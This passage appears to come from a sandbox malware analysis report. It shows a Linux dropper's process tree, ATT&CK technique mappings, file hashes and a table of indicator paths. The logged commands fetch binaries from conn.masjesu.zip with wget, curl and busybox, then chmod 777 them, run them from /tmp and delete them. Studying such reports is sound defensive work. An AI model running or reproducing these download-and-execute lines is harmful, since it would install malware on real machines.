- /tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  ./MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
  chmod 777 DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  ./DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  ./gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - System Network Configuration Discovery
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/chmod
  chmod 777 Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  ./Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  - System Network Configuration Discovery
  PID:997
- /bin/chmod
  chmod 777 lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  ./lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - System Network Configuration Discovery
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /bin/chmod
  chmod 777 iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  ./iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
  2⤵
  PID:1007
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1009
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /bin/chmod
  chmod 777 iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  ./iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  - Executes dropped EXE
  PID:1013
- /bin/rm
  rm iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
  2⤵
  PID:1014

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO

Path /tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO	752	lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
/tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat	781	AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
/tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN	805	KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
/tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp	815	MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
/tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z	836	DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
/tmp/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7	859	gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
/tmp/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu	866	Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
/tmp/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z	873	lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
/tmp/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r	880	iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
/tmp/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1	887	iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1
/tmp/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV	894	oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
/tmp/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ	901	gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
/tmp/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf	908	h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
/tmp/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj	915	gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
/tmp/oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV	922	oQYBW264lq8uefBX7bUHBdjmAK3xW5QSZV
/tmp/gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ	929	gwF4VVYCoPfJrMO67dl3r34e7aiq2K5iQJ
/tmp/h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf	936	h08wyeoTzm8NxPe5TjFBrCJiMkwbCyBQGf
/tmp/gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj	943	gNSAIgabmOle7vRaXT9DiYY3kQiUlqSPVj
/tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO	950	lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
/tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat	957	AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
/tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN	964	KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
/tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp	971	MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
/tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z	978	DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
/tmp/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7	985	gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
/tmp/Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu	992	Mvp4XAbdXKbm9vYaELUw0CFlesOhxV35bu
/tmp/lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z	999	lyS2rSVdCzEiSvNLZ1v7zgQk2KnVXOTx5z
/tmp/iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r	1006	iiqF0OMHInvJSmSVUYe1Lj1XPTZdLBag0r
/tmp/iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1	1013	iOdfap7UL2Pf9i2bvQGnbAtanvH4FKU5c1